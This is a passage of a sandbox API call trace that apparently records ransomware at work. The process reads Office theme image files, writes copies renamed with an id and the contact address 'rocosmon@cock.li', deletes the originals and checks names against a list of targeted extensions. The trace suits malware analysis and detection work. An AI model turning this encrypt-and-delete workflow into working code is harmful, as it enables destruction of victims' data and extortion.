	[0105.891] WriteFile (in: hFile=0x1f8, lpBuffer=0x2ed0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x230fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesWritten=0x230fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0105.892] SetEndOfFile (hFile=0x1f8) returned 1
	[0105.892] CloseHandle (hObject=0x1f8) returned 1
	[0105.892] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x230fec8 | out: lpNewFilePointer=0x0) returned 1
	[0105.892] SetEndOfFile (hFile=0x1e4) returned 1
	[0105.893] CloseHandle (hObject=0x1e4) returned 1
	[0105.895] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x20) returned 1
	[0105.895] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\thmbnail.png")) returned 1
	[0105.895] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76
	[0105.895] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76
	[0105.895] lstrlenW (lpString=".doc") returned 4
	[0105.895] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1
	[0105.896] lstrlenW (lpString=".docx") returned 5
	[0105.896] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1
	[0105.896] lstrlenW (lpString=".pdf") returned 4
	[0105.896] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1
	[0105.896] lstrlenW (lpString=".xls") returned 4
	[0105.896] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1
	[0105.896] lstrlenW (lpString=".xlsx") returned 5
	[0105.896] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1
	[0105.896] lstrlenW (lpString=".ppt") returned 4
	[0105.896] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1
	[0105.896] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76
	[0105.896] lstrlenW (lpString=".zip") returned 4
	[0105.896] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1
	[0105.896] lstrlenW (lpString=".rar") returned 4
	[0105.896] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1
	[0105.896] lstrlenW (lpString=".bz2") returned 4
	[0105.896] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1
	[0105.896] lstrlenW (lpString=".7z") returned 3
	[0105.896] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1
	[0105.896] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76
	[0105.896] lstrlenW (lpString=".dbf") returned 4
	[0105.896] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1
	[0105.896] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76
	[0105.896] lstrlenW (lpString=".1cd") returned 4
	[0105.896] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1
	[0105.896] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76
	[0105.896] lstrlenW (lpString=".jpg") returned 4
	[0105.896] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1
	[0105.896] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76
	[0105.896] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76
	[0105.896] lstrlenW (lpString=".doc") returned 4
	[0105.896] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1
	[0105.896] lstrlenW (lpString=".docx") returned 5
	[0105.896] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1
	[0105.896] lstrlenW (lpString=".pdf") returned 4
	[0105.896] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1
	[0105.896] lstrlenW (lpString=".xls") returned 4
	[0105.896] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1
	[0105.897] lstrlenW (lpString=".xlsx") returned 5
	[0105.897] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1
	[0105.897] lstrlenW (lpString=".ppt") returned 4
	[0105.897] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1
	[0105.897] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76
	[0105.897] lstrlenW (lpString=".zip") returned 4
	[0105.897] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1
	[0105.897] lstrlenW (lpString=".rar") returned 4
	[0105.897] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1
	[0105.897] lstrlenW (lpString=".bz2") returned 4
	[0105.897] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1
	[0105.897] lstrlenW (lpString=".7z") returned 3
	[0105.897] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1
	[0105.897] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76
	[0105.897] lstrlenW (lpString=".dbf") returned 4
	[0105.897] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1
	[0105.897] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76
	[0105.897] lstrlenW (lpString=".1cd") returned 4
	[0105.897] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1
	[0105.897] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76
	[0105.897] lstrlenW (lpString=".jpg") returned 4
	[0105.897] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1
	[0105.897] lstrcmpiW (lpString1=".GIF", lpString2=".4k") returned 1
	[0105.897] lstrlenW (lpString="PREVIEW.GIF") returned 11
	[0105.897] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4
	[0105.898] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x230ff1c | out: lpFileSize=0x230ff1c*=1439) returned 1
	[0105.898] CloseHandle (hObject=0x1e4) returned 1
	[0105.898] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\preview.gif")) returned 0x20
	[0105.898] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\preview.gif.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0105.898] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4
	[0105.898] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x230fec8 | out: lpNewFilePointer=0x0) returned 1
	[0105.898] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x230fec8 | out: lpNewFilePointer=0x0) returned 1
	[0105.898] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\preview.gif.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8
	[0105.900] GetLastError () returned 0x0
	[0105.900] ReadFile (in: hFile=0x1e4, lpBuffer=0x2ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x230fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesRead=0x230fed4*=0x59f, lpOverlapped=0x0) returned 1
	[0105.961] WriteFile (in: hFile=0x1f8, lpBuffer=0x2ed0020*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x230fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesWritten=0x230fc9c*=0x5a0, lpOverlapped=0x0) returned 1
	[0105.962] ReadFile (in: hFile=0x1e4, lpBuffer=0x2ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x230fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesRead=0x230fed4*=0x0, lpOverlapped=0x0) returned 1
	[0105.962] WriteFile (in: hFile=0x1f8, lpBuffer=0x2ed0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x230fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesWritten=0x230fc9c*=0xea, lpOverlapped=0x0) returned 1
	[0105.962] SetEndOfFile (hFile=0x1f8) returned 1
	[0105.962] CloseHandle (hObject=0x1f8) returned 1
	[0105.962] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x230fec8 | out: lpNewFilePointer=0x0) returned 1
	[0105.962] SetEndOfFile (hFile=0x1e4) returned 1
	[0105.963] CloseHandle (hObject=0x1e4) returned 1
	[0105.963] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x20) returned 1
	[0105.963] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\preview.gif")) returned 1
	[0105.963] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72
	[0105.963] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72
	[0105.963] lstrlenW (lpString=".doc") returned 4
	[0105.963] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0105.963] lstrlenW (lpString=".docx") returned 5
	[0105.964] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1
	[0105.964] lstrlenW (lpString=".pdf") returned 4
	[0105.964] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0105.964] lstrlenW (lpString=".xls") returned 4
	[0105.964] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0105.964] lstrlenW (lpString=".xlsx") returned 5
	[0105.964] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1
	[0105.964] lstrlenW (lpString=".ppt") returned 4
	[0105.964] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0105.964] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72
	[0105.964] lstrlenW (lpString=".zip") returned 4
	[0105.964] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0105.964] lstrlenW (lpString=".rar") returned 4
	[0105.964] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0105.964] lstrlenW (lpString=".bz2") returned 4
	[0105.964] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0105.964] lstrlenW (lpString=".7z") returned 3
	[0105.964] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0105.964] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72
	[0105.964] lstrlenW (lpString=".dbf") returned 4
	[0105.964] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0105.964] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72
	[0105.964] lstrlenW (lpString=".1cd") returned 4
	[0105.964] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0105.964] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72
	[0105.964] lstrlenW (lpString=".jpg") returned 4
	[0105.964] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0105.964] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72
	[0105.964] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72
	[0105.964] lstrlenW (lpString=".doc") returned 4
	[0105.964] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0105.964] lstrlenW (lpString=".docx") returned 5
	[0105.964] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1
	[0105.964] lstrlenW (lpString=".pdf") returned 4
	[0105.964] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0105.964] lstrlenW (lpString=".xls") returned 4
	[0105.964] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0105.964] lstrlenW (lpString=".xlsx") returned 5
	[0105.965] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1
	[0105.965] lstrlenW (lpString=".ppt") returned 4
	[0105.965] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0105.965] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72
	[0105.965] lstrlenW (lpString=".zip") returned 4
	[0105.965] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0105.965] lstrlenW (lpString=".rar") returned 4
	[0105.965] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0105.965] lstrlenW (lpString=".bz2") returned 4
	[0105.971] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0105.972] lstrlenW (lpString=".7z") returned 3
	[0105.972] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0105.972] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72
	[0105.972] lstrlenW (lpString=".dbf") returned 4
	[0105.972] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0105.972] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72
	[0105.972] lstrlenW (lpString=".1cd") returned 4
	[0105.972] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0105.972] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72
	[0105.972] lstrlenW (lpString=".jpg") returned 4
	[0105.972] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0105.972] lstrcmpiW (lpString1=".GIF", lpString2=".4k") returned 1
	[0105.972] lstrlenW (lpString="PREVIEW.GIF") returned 11
	[0105.972] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4
	[0105.973] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x230ff1c | out: lpFileSize=0x230ff1c*=1423) returned 1
	[0105.973] CloseHandle (hObject=0x1e4) returned 1
	[0105.973] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\preview.gif")) returned 0x20
	[0105.973] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\preview.gif.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0105.973] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4
	[0105.973] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x230fec8 | out: lpNewFilePointer=0x0) returned 1
	[0105.973] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x230fec8 | out: lpNewFilePointer=0x0) returned 1
	[0105.974] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\preview.gif.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8
	[0106.325] GetLastError () returned 0x0
	[0106.325] ReadFile (in: hFile=0x1e4, lpBuffer=0x2ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x230fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesRead=0x230fed4*=0x58f, lpOverlapped=0x0) returned 1
	[0106.326] WriteFile (in: hFile=0x1e8, lpBuffer=0x2ed0020*, nNumberOfBytesToWrite=0x590, lpNumberOfBytesWritten=0x230fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesWritten=0x230fc9c*=0x590, lpOverlapped=0x0) returned 1
	[0106.327] ReadFile (in: hFile=0x1e4, lpBuffer=0x2ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x230fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesRead=0x230fed4*=0x0, lpOverlapped=0x0) returned 1
	[0106.327] WriteFile (in: hFile=0x1e8, lpBuffer=0x2ed0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x230fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesWritten=0x230fc9c*=0xea, lpOverlapped=0x0) returned 1
	[0106.327] SetEndOfFile (hFile=0x1e8) returned 1
	[0106.327] CloseHandle (hObject=0x1e8) returned 1
	[0106.327] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x230fec8 | out: lpNewFilePointer=0x0) returned 1
	[0106.327] SetEndOfFile (hFile=0x1e4) returned 1
	[0106.328] CloseHandle (hObject=0x1e4) returned 1
	[0106.328] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x20) returned 1
	[0106.328] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\preview.gif")) returned 1
	[0106.328] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75
	[0106.328] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75
	[0106.328] lstrlenW (lpString=".doc") returned 4
	[0106.328] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0106.328] lstrlenW (lpString=".docx") returned 5
	[0106.328] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1
	[0106.329] lstrlenW (lpString=".pdf") returned 4
	[0106.329] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0106.329] lstrlenW (lpString=".xls") returned 4
	[0106.329] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0106.329] lstrlenW (lpString=".xlsx") returned 5
	[0106.329] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1
	[0106.329] lstrlenW (lpString=".ppt") returned 4
	[0106.329] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0106.329] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75
	[0106.329] lstrlenW (lpString=".zip") returned 4
	[0106.329] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0106.329] lstrlenW (lpString=".rar") returned 4
	[0106.329] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0106.329] lstrlenW (lpString=".bz2") returned 4
	[0106.329] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0106.329] lstrlenW (lpString=".7z") returned 3
	[0106.329] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0106.329] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75
	[0106.329] lstrlenW (lpString=".dbf") returned 4
	[0106.329] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0106.329] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75
	[0106.329] lstrlenW (lpString=".1cd") returned 4
	[0106.329] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0106.329] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75
	[0106.329] lstrlenW (lpString=".jpg") returned 4
	[0106.329] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0106.329] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75
	[0106.329] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75
	[0106.329] lstrlenW (lpString=".doc") returned 4
	[0106.329] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0106.329] lstrlenW (lpString=".docx") returned 5
	[0106.329] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1
	[0106.329] lstrlenW (lpString=".pdf") returned 4
	[0106.329] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0106.329] lstrlenW (lpString=".xls") returned 4
	[0106.329] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0106.330] lstrlenW (lpString=".xlsx") returned 5
	[0106.330] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1
	[0106.330] lstrlenW (lpString=".ppt") returned 4
	[0106.330] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0106.330] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75
	[0106.330] lstrlenW (lpString=".zip") returned 4
	[0106.330] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0106.330] lstrlenW (lpString=".rar") returned 4
	[0106.330] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0106.330] lstrlenW (lpString=".bz2") returned 4
	[0106.330] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0106.330] lstrlenW (lpString=".7z") returned 3
	[0106.330] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0106.330] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75
	[0106.330] lstrlenW (lpString=".dbf") returned 4
	[0106.330] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0106.330] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75
	[0106.330] lstrlenW (lpString=".1cd") returned 4
	[0106.330] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0106.330] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75
	[0106.330] lstrlenW (lpString=".jpg") returned 4
	[0106.330] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0106.330] lstrcmpiW (lpString1=".GIF", lpString2=".4k") returned 1
	[0106.330] lstrlenW (lpString="PREVIEW.GIF") returned 11
	[0106.330] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4
	[0106.331] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x230ff1c | out: lpFileSize=0x230ff1c*=4100) returned 1
	[0106.331] CloseHandle (hObject=0x1e4) returned 1
	[0106.331] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\preview.gif")) returned 0x20
	[0106.331] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\preview.gif.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0106.331] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4
	[0106.331] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x230fec8 | out: lpNewFilePointer=0x0) returned 1
	[0106.331] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x230fec8 | out: lpNewFilePointer=0x0) returned 1
	[0106.331] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\preview.gif.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8
	[0106.333] GetLastError () returned 0x0
	[0106.333] ReadFile (in: hFile=0x1e4, lpBuffer=0x2ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x230fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesRead=0x230fed4*=0x1004, lpOverlapped=0x0) returned 1
